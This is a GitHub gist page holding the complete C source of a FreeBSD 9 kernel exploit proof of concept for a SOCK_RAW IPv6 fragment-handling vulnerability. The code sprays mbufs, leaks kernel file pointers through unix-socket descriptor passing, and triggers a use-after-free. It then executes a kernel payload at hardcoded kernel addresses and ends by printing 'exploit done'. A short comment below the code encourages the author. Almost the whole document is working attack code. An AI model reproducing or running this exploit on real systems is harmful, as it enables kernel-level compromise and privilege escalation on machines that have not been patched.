-
-
Save sleirsgoevy/35722572b0096f9acfd76a97b5678bed to your computer and use it in GitHub Desktop.
Another FreeBSD 9 PoC of the SOCK_RAW vulnerability, using TheFlow's hint. Does not do any zone drains, thus should be more portable.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define FD_SETSIZE 2048 | |
#define sysctl __sysctl | |
#include <sys/types.h> | |
#include <sys/param.h> | |
#include <sys/cpuset.h> | |
#include <sys/socket.h> | |
#include <sys/mman.h> | |
#include <sys/sysctl.h> | |
#include <sys/vmmeter.h> | |
#include <sys/filio.h> | |
#include <sys/ioctl.h> | |
#include <netinet/in.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <time.h> | |
#include <vm/vm_param.h> | |
#include <stdio.h> | |
#include <errno.h> | |
void send_fragment(int fd, char* src, size_t off, size_t sz, int is_final, uint32_t ident, int proto) | |
{ | |
static unsigned char buf[0x10000]; | |
// hop-by-hop header | |
buf[0] = 44; | |
buf[1] = 0; | |
buf[2] = 1; | |
buf[3] = 4; | |
buf[4] = buf[5] = buf[6] = buf[7] = 0x41; | |
// fragment header | |
buf[8] = proto; | |
buf[9] = 0; | |
size_t mid = off + !is_final; | |
buf[10] = mid / 256; | |
buf[11] = mid % 256; | |
buf[12] = ident >> 24; | |
buf[13] = ident >> 16; | |
buf[14] = ident >> 8; | |
buf[15] = ident; | |
for(size_t i = 0; i < sz; i++) | |
buf[16+i] = src[off+i]; | |
struct sockaddr_in6 sin6 = { | |
.sin6_family = AF_INET6, | |
.sin6_addr = {0}, | |
.sin6_port = 0xbeef, | |
}; | |
sin6.sin6_addr.s6_addr[15] = 1; | |
sendto(fd, buf, 16+sz, 0, (struct sockaddr*)&sin6, sizeof(sin6)); | |
} | |
void build_rthdr(char* buf, int sz) | |
{ | |
buf[0] = 43; | |
buf[1] = sz / 8 - 1; | |
buf[2] = 0; | |
buf[3] = 0; | |
for(size_t i = 4; i < sz; i++) | |
buf[i] = 0; | |
} | |
void send_shifted_fragment(int fd, char* src, size_t off, size_t sz, int is_final, uint32_t ident, int proto) | |
{ | |
static unsigned char buf[0x1000]; | |
// hop-by-hop header | |
buf[0] = 43; | |
buf[1] = 0; | |
buf[2] = 1; | |
buf[3] = 4; | |
buf[4] = buf[5] = buf[6] = buf[7] = 0x41; | |
// padding | |
build_rthdr(buf+8, 224); | |
buf[8] = 44; | |
// fragment header | |
buf[232] = proto; | |
buf[233] = 0; | |
size_t mid = off + !is_final; | |
buf[234] = mid / 256; | |
buf[235] = mid % 256; | |
buf[236] = ident >> 24; | |
buf[237] = ident >> 16; | |
buf[238] = ident >> 8; | |
buf[239] = ident; | |
for(size_t i = 0; i < sz; i++) | |
buf[240+i] = src[off+i]; | |
struct sockaddr_in6 sin6 = { | |
.sin6_family = AF_INET6, | |
.sin6_addr = {0}, | |
.sin6_port = 0xbeef, | |
}; | |
sin6.sin6_addr.s6_addr[15] = 1; | |
sendto(fd, buf, 240+sz, 0, (struct sockaddr*)&sin6, sizeof(sin6)); | |
} | |
#define RTHDR_1_SZ 0x60 | |
#define RTHDR_2_SZ 32 // >8 to prevent double-free on second mbuf | |
#define FIRST_FRAGMENT_SZ 0x60 | |
#define SPRAY_SIZE 256 | |
#define NUM_UNIX 256 | |
void push_mbuf(int* socks, int i) | |
{ | |
if(sendto(socks[i], &i, sizeof(i), 0, 0, 0) < 0) | |
printf("push_mbuf failed\n"); | |
} | |
void push_cluster(int* socks, int i) | |
{ | |
int arr[49]; | |
arr[0] = i; | |
if(sendto(socks[i], arr, sizeof(arr), 0, 0, 0) < 0) | |
printf("push_cluster failed\n"); | |
} | |
void push_big_cluster(int* socks, int i) | |
{ | |
char arr[2048] = {0}; | |
if(sendto(socks[i], arr, sizeof(arr), 0, 0, 0) < 0) | |
printf("push_cluster failed\n"); | |
} | |
int pop_mbuf(int* socks, int i) | |
{ | |
int buf[37]; | |
buf[0] = i; | |
recvfrom(socks[i], buf, sizeof(buf), MSG_DONTWAIT, 0, 0); | |
return buf[0]; | |
} | |
int peek_mbuf(int* socks, int i) | |
{ | |
int ans = 1000000; | |
recvfrom(socks[i], &ans, sizeof(ans), MSG_DONTWAIT|MSG_PEEK, 0, 0); | |
return ans; | |
} | |
int create_loopback(void) | |
{ | |
#if 0 | |
int sock = socket(AF_INET6, SOCK_DGRAM, 0); | |
struct sockaddr_in6 sin = { | |
.sin6_family = AF_INET6, | |
.sin6_addr = {0}, | |
.sin6_port = 0, | |
}; | |
sin.sin6_addr.s6_addr[15] = 1; | |
#else | |
int sock = socket(AF_INET, SOCK_DGRAM, 0); | |
struct sockaddr_in sin = { | |
.sin_family = AF_INET, | |
.sin_addr = {0x100007f}, | |
.sin_port = 0, | |
}; | |
#endif | |
socklen_t sin_l = sizeof(sin); | |
bind(sock, (struct sockaddr*)&sin, sin_l); | |
getsockname(sock, (struct sockaddr*)&sin, &sin_l); | |
connect(sock, (struct sockaddr*)&sin, sin_l); | |
//fcntl(sock, F_SETFL, fcntl(sock, F_GETFL) | O_NONBLOCK); | |
return sock; | |
} | |
int get_port(int fd) | |
{ | |
struct sockaddr_in6 sin; | |
socklen_t l = sizeof(sin); | |
getsockname(fd, (struct sockaddr*)&sin, &l); | |
return sin.sin6_port; | |
} | |
//asm("kexec:\nmov $11,%rax\nmov %rcx,%r10\nsyscall\nret"); | |
void kexec(void*); | |
#define uma_reclaim ((void*)0xffffffff80a7c1c0) | |
int port_to_csum(int port) | |
{ | |
int base_port = 0x0de6; | |
int base_csum = 0x36b1; | |
int csum = base_csum - 2 * (port - base_port); | |
csum += 0x1fffe; | |
csum %= 0xffff; | |
return csum; | |
} | |
void push_jumbo(int fd) | |
{ | |
char buf[2048]; | |
for(int i = 0; i < 2048; i++) | |
buf[i] = 0x41; | |
for(int i = 0; i < 31; i++) | |
sendto(fd, buf, sizeof(buf), 0, 0, 0); | |
} | |
void* mmap_at(void* where, size_t sz) | |
{ | |
uintptr_t addr = (uintptr_t)where; | |
uintptr_t end = addr + sz; | |
addr &= ~4095ull; | |
if((uintptr_t)mmap((void*)addr, end - addr, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) != addr) | |
{ | |
printf("failed to mmap_at!\n"); | |
return 0; | |
} | |
//prefault pages | |
unsigned char* p = where; | |
for(size_t i = 0; i < sz; i++) | |
p[i] = 0; | |
return where; | |
} | |
ssize_t | |
write_fd(int fd, void *ptr, size_t nbytes, int* sendfd) | |
{ | |
struct msghdr msg; | |
struct iovec iov[1]; | |
union { | |
struct cmsghdr cm; | |
char control[CMSG_SPACE(32*sizeof(int))]; | |
} control_un; | |
struct cmsghdr *cmptr; | |
msg.msg_control = control_un.control; | |
msg.msg_controllen = sizeof(control_un.control); | |
cmptr = CMSG_FIRSTHDR(&msg); | |
cmptr->cmsg_len = CMSG_LEN(32*sizeof(int)); | |
cmptr->cmsg_level = SOL_SOCKET; | |
cmptr->cmsg_type = SCM_RIGHTS; | |
for(int i = 0; i < 32; i++) | |
((int *) CMSG_DATA(cmptr))[i] = sendfd[i]; | |
msg.msg_name = NULL; | |
msg.msg_namelen = 0; | |
iov[0].iov_base = ptr; | |
iov[0].iov_len = nbytes; | |
msg.msg_iov = iov; | |
msg.msg_iovlen = 1; | |
return(sendmsg(fd, &msg, 0)); | |
} | |
ssize_t | |
read_fd(int fd, void *ptr, size_t nbytes, int *recvfd) | |
{ | |
struct msghdr msg; | |
struct iovec iov[1]; | |
ssize_t n; | |
int newfd; | |
union { | |
struct cmsghdr cm; | |
char control[CMSG_SPACE(64*sizeof(int))]; | |
} control_un; | |
struct cmsghdr *cmptr; | |
msg.msg_control = control_un.control; | |
msg.msg_controllen = sizeof(control_un.control); | |
msg.msg_name = NULL; | |
msg.msg_namelen = 0; | |
iov[0].iov_base = ptr; | |
iov[0].iov_len = nbytes; | |
msg.msg_iov = iov; | |
msg.msg_iovlen = 1; | |
if ( (n = recvmsg(fd, &msg, 0)) <= 0) | |
return(n); | |
if ( (cmptr = CMSG_FIRSTHDR(&msg)) != NULL && | |
cmptr->cmsg_len == CMSG_LEN(32*sizeof(int))) { | |
for(int i = 0; i < 24; i++) | |
recvfd[i] = ((int *) CMSG_DATA(cmptr))[i]; | |
} else { | |
for(int i = 0; i < 64; i++) | |
printf("%08x\n", ((int*)CMSG_DATA(cmptr))[i]); | |
*recvfd = -1; /* descriptor was not passed */ | |
} | |
return(n); | |
} | |
int leak_fds(int fd_to_leak[32], uintptr_t out[32], int bads[3]) | |
{ | |
printf("starting kex...\n"); | |
cpuset_t xxx; | |
CPU_ZERO(&xxx); | |
CPU_SET(0, &xxx); | |
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx); | |
int sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS); | |
int socks[SPRAY_SIZE]; | |
for(int i = 0; i < SPRAY_SIZE; i++) | |
socks[i] = create_loopback(); | |
int un[2 * NUM_UNIX]; | |
for(int i = 0; i < NUM_UNIX; i++) | |
socketpair(AF_UNIX, SOCK_STREAM, 0, un+2*i); | |
char buf[RTHDR_1_SZ + RTHDR_2_SZ]; | |
char buf_final[4096]; | |
for(int i = 0; i < 1024; i++) | |
buf_final[i] = 255; | |
build_rthdr(buf, RTHDR_1_SZ); | |
build_rthdr(buf + RTHDR_1_SZ, RTHDR_2_SZ); | |
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0); | |
send_fragment(sock, buf, 0, FIRST_FRAGMENT_SZ, 0, 0xdead0002, 43); | |
send_fragment(sock, buf, FIRST_FRAGMENT_SZ, sizeof(buf) - FIRST_FRAGMENT_SZ, 1, 0xdead0002, 43); | |
/*CPU_ZERO(&xxx); | |
CPU_SET(1, &xxx); | |
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);*/ | |
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0); | |
for(int i = 0; i < SPRAY_SIZE; i++) | |
{ | |
push_cluster(socks, i); | |
nanosleep((void*)"\0\0\0\0\0\0\0\0\x80\x96\x98\0\0\0\0\0", 0); | |
} | |
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0); | |
int bad1 = -1, bad2 = -1; | |
for(int i = 0; i < SPRAY_SIZE; i++) | |
{ | |
int j = peek_mbuf(socks, i); | |
if(i != j) | |
printf("%d -> %d\n", bad1 = i, bad2 = j); | |
} | |
if(bad1 < 0) | |
{ | |
printf("wtf??\n"); | |
return 1; | |
} | |
//print_mbuf_addr(socks[bad1]); | |
//print_mbuf_addr(socks[bad2]); | |
for(int i = 0; i < NUM_UNIX; i++) | |
push_big_cluster(un, 2*i); | |
pop_mbuf(socks, bad1); | |
for(int i = 0; i < NUM_UNIX; i++) | |
push_cluster(un, 2*i); | |
recvfrom(socks[bad2], buf_final, sizeof(buf_final), MSG_DONTWAIT|MSG_PEEK, 0, 0); | |
int bad3 = 1+*(int*)buf_final; | |
pop_mbuf(socks, bad2); | |
char x = 'X'; | |
for(int i = 0; i < NUM_UNIX; i++) | |
if(i != (bad3 - 1) / 2) | |
write_fd(un[2*i], &x, 1, fd_to_leak); | |
for(int i = 0; i < NUM_UNIX; i++) | |
{ | |
recvfrom(un[2*i+1], buf_final, sizeof(buf_final), MSG_DONTWAIT|MSG_PEEK, 0, 0); | |
if(*(int*)(buf_final+2048) != 2*i) | |
{ | |
if(bad3 != 2*i+1) | |
{ | |
printf("wtf??\n"); | |
return 1; | |
} | |
printf("fucked up %d\n", i); | |
uintptr_t* leak = (uintptr_t*)(buf_final+2048); | |
if(leak[0] != 0xffff00000110ull || (unsigned int)leak[1] != 1) | |
{ | |
printf("wtf??\n"); | |
return 1; | |
} | |
for(int i = 0; i < 32; i++) | |
out[i] = leak[i+2]; | |
} | |
} | |
for(int i = 0; i < 2*NUM_UNIX; i++) | |
if(i != bad3) | |
close(un[i]); | |
for(int i = 0; i < SPRAY_SIZE; i++) | |
if(i != bad1 && i != bad2) | |
close(socks[i]); | |
close(sock); | |
bads[0] = socks[bad1]; | |
bads[1] = socks[bad2]; | |
bads[2] = un[bad3]; | |
return 0; | |
} | |
int trigger(int trg_fd, uintptr_t trg_addr, int bad_fds[2], int* sel_cur) | |
{ | |
printf("starting kex...\n"); | |
cpuset_t xxx; | |
CPU_ZERO(&xxx); | |
CPU_SET(0, &xxx); | |
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx); | |
int sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS); | |
int socks[SPRAY_SIZE]; | |
for(int i = 0; i < SPRAY_SIZE; i++) | |
socks[i] = create_loopback(); | |
int un[2*NUM_UNIX]; | |
for(int i = 0; i < NUM_UNIX; i++) | |
socketpair(AF_UNIX, SOCK_STREAM, 0, un+2*i); | |
char buf[RTHDR_1_SZ + RTHDR_2_SZ]; | |
char buf_final[4096]; | |
for(int i = 0; i < 1024; i++) | |
buf_final[i] = 255; | |
build_rthdr(buf, RTHDR_1_SZ); | |
build_rthdr(buf + RTHDR_1_SZ, RTHDR_2_SZ); | |
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0); | |
send_fragment(sock, buf, 0, FIRST_FRAGMENT_SZ, 0, 0xdead0002, 43); | |
send_fragment(sock, buf, FIRST_FRAGMENT_SZ, sizeof(buf) - FIRST_FRAGMENT_SZ, 1, 0xdead0002, 43); | |
/*CPU_ZERO(&xxx); | |
CPU_SET(1, &xxx); | |
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);*/ | |
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0); | |
for(int i = 0; i < SPRAY_SIZE; i++) | |
{ | |
push_cluster(socks, i); | |
nanosleep((void*)"\0\0\0\0\0\0\0\0\x80\x96\x98\0\0\0\0\0", 0); | |
} | |
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0); | |
int bad1 = -1, bad2 = -1; | |
for(int i = 0; i < SPRAY_SIZE; i++) | |
{ | |
int j = peek_mbuf(socks, i); | |
if(i != j) | |
printf("%d -> %d\n", bad1 = i, bad2 = j); | |
} | |
if(bad1 < 0) | |
{ | |
printf("wtf??\n"); | |
return 1; | |
} | |
//print_mbuf_addr(socks[bad1]); | |
//print_mbuf_addr(socks[bad2]); | |
pop_mbuf(socks, bad1); | |
for(int i = 0; i < NUM_UNIX; i++) | |
send_shifted_fragment(sock, buf, 0, FIRST_FRAGMENT_SZ, 0, 0xfee10000+i, 6); | |
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0); | |
//print_mbuf_addr(socks[bad2]); | |
recvfrom(socks[bad2], buf_final, sizeof(buf_final), MSG_DONTWAIT|MSG_PEEK, 0, 0); | |
int uaf_idx = __builtin_bswap32(*(unsigned int*)(buf_final+276)); | |
if((uaf_idx & 0xffff0000) != 0xfee10000) | |
{ | |
printf("wtf??\n"); | |
return 1; | |
} | |
uaf_idx &= 0xffff; | |
//print_mbuf_addr(socks[bad2]); | |
pop_mbuf(socks, bad2); | |
int fd_to_pass[32]; | |
for(int i = 0; i < 32; i++) | |
fd_to_pass[i] = trg_fd; | |
char x = 'X'; | |
for(int i = 0; i < NUM_UNIX; i++) | |
write_fd(un[2*i], &x, 1, fd_to_pass); | |
for(int i = 0; i < NUM_UNIX; i++) | |
if(i != uaf_idx) | |
send_fragment(sock, buf_final, FIRST_FRAGMENT_SZ, 1, 1, 0xfee10000+i, 6); | |
if(1) | |
{ | |
int i = uaf_idx; | |
int off = FIRST_FRAGMENT_SZ; | |
while(off + sizeof(buf_final) < 65536) | |
{ | |
send_fragment(sock, buf_final - off, off, sizeof(buf_final), 0, 0xfee10000+i, 6); | |
off += sizeof(buf_final); | |
} | |
send_fragment(sock, buf_final - off, off, 3767, 1, 0xfee10000+i, 6); | |
} | |
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0); | |
fd_set ss; | |
FD_ZERO(&ss); | |
struct timeval for_select = {0, 0}; | |
bad_fds[0] = socks[bad1]; | |
bad_fds[1] = socks[bad2]; | |
for(int i = 0; i < NUM_UNIX; i++) | |
{ | |
bad_fds[2] = un[2*i+1]; | |
read_fd(un[2*i+1], &x, 1, fd_to_pass); | |
for(int j = 0; j < 32; j++) | |
{ | |
*sel_cur = fd_to_pass[j]; | |
if(fd_to_pass[j] < 2048) // wtf if not | |
{ | |
FD_SET(fd_to_pass[j], &ss); | |
select(fd_to_pass[j]+1, &ss, 0, 0, &for_select); //kpayload | |
FD_CLR(fd_to_pass[j], &ss); | |
} | |
close(fd_to_pass[j]); | |
} | |
} | |
for(int i = 0; i < 2*NUM_UNIX; i++) | |
close(un[i]); | |
for(int i = 0; i < SPRAY_SIZE; i++) | |
if(i != bad1 && i != bad2) | |
close(socks[i]); | |
close(sock); | |
return 0; | |
} | |
int kp_sel_cur; | |
int kp_bad_fds[6]; | |
uintptr_t decref_fp; | |
int kp_done = 0; | |
int kernel_payload(void) | |
{ | |
int(*printf)(const char*, ...) = (void*)0xffffffff8086bf90; | |
printf("Hello, kernel world!\n"); | |
int****** td; | |
asm volatile("mov %%gs:0, %0":"=r"(td)); | |
for(int i = 0; i < 6; i++) | |
for(int base = 72; base <= 132; base += 60) // socket->so_{rcv,snd} | |
{ | |
td[1][9][0][kp_bad_fds[i]][0][base+9] = 0; // sb_cc | |
td[1][9][0][kp_bad_fds[i]][0][base+11] = 0; // sb_mbcnf | |
td[1][9][0][kp_bad_fds[i]][0][base] = 0; // sb_mb low | |
td[1][9][0][kp_bad_fds[i]][0][base+1] = 0; // sb_mb high | |
} | |
td[1][9][0][kp_sel_cur] = 0; | |
void*** zone_mbuf = (void*)0xffffffff811008a0; | |
zone_mbuf[0][32] = zone_mbuf[0][33] = 0; //detach buckets | |
--*(volatile int*)(decref_fp + 40); | |
kp_done = 1; | |
return 0; | |
} | |
int main() | |
{ | |
int fd[256]; | |
for(int i = 0; i < 256; i++) | |
fd[255-i] = open("/etc/passwd", O_RDONLY); | |
for(int i = 32; i < 256; i++) | |
close(fd[i]); | |
uintptr_t leak[32]; | |
if(leak_fds(fd, leak, kp_bad_fds)) | |
{ | |
printf("leak_fds failed\n"); | |
return 1; | |
} | |
for(int i = 0; i < 32; i++) | |
printf("%d %d %p\n", i, fd[i], (void*)leak[i]); | |
int low = -1, high = -1; | |
for(int i = 0; i < 32 && low < 0; i++) | |
if((leak[i] & 255) == 0xd0) | |
for(int j = 0; j < 32 && low < 0; j++) | |
if(leak[j] == leak[i] + 0x50) | |
{ | |
low = i; | |
high = j; | |
} | |
if(low < 0) | |
{ | |
printf("wtf??\n"); | |
return 0; | |
} | |
printf("%d %d\n", low, high); | |
printf("%llx\n", (long long)lseek(fd[low], 0x2eadbeef, SEEK_SET)); | |
void** dead = mmap((void*)0x2eadbeef0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | |
dead[4] = kernel_payload; | |
decref_fp = leak[high]; | |
if(trigger(fd[high], leak[low] + 0x36, kp_bad_fds+3, &kp_sel_cur)) | |
{ | |
printf("trigger failed\n"); | |
return 1; | |
} | |
if(!kp_done) | |
{ | |
printf("wtf??\n"); | |
return 1; | |
} | |
printf("exploit done\n"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
We believe in you more than anyone else. Go ahead and do it 👏👏💣